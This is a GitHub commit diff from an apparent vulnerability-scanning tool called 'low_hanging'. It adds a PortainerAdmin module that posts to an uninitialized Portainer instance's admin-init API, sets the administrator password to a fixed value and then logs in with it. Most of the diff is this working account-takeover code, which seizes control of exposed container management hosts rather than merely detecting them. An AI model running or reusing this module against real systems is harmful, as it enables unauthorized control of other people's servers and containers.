-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
d7392f1
commit e2ebe80
Showing
3 changed files
with
26 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,3 @@ | ||
from low_hanging.modules.django import DjangoDebug | ||
from low_hanging.modules.phpinfo import PhpInfo | ||
from low_hanging.modules.phpinfo import PhpInfo | ||
from low_hanging.modules.portainer_admin import PortainerAdmin |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
from urllib.parse import urljoin | ||
from low_hanging.base_worker import BaseWorker | ||
|
||
|
||
class PortainerAdmin(BaseWorker): | ||
name = "portainer_admin_reset" | ||
references = ["https://github.com/portainer/portainer/issues/493"] | ||
def run(self): | ||
r = self.session.post( | ||
urljoin(self.domain, "/api/users/admin/init"), | ||
json={"username": "admin", "password":"definitely_valid"} | ||
) | ||
|
||
if r.status_code in (404, 409): | ||
return | ||
|
||
r = self.session.post( | ||
urljoin(self.domain, "/api/auth"), | ||
json={"username": "admin", "password":"definitely_valid"} | ||
) | ||
if r.status_code < 400: | ||
return r.url |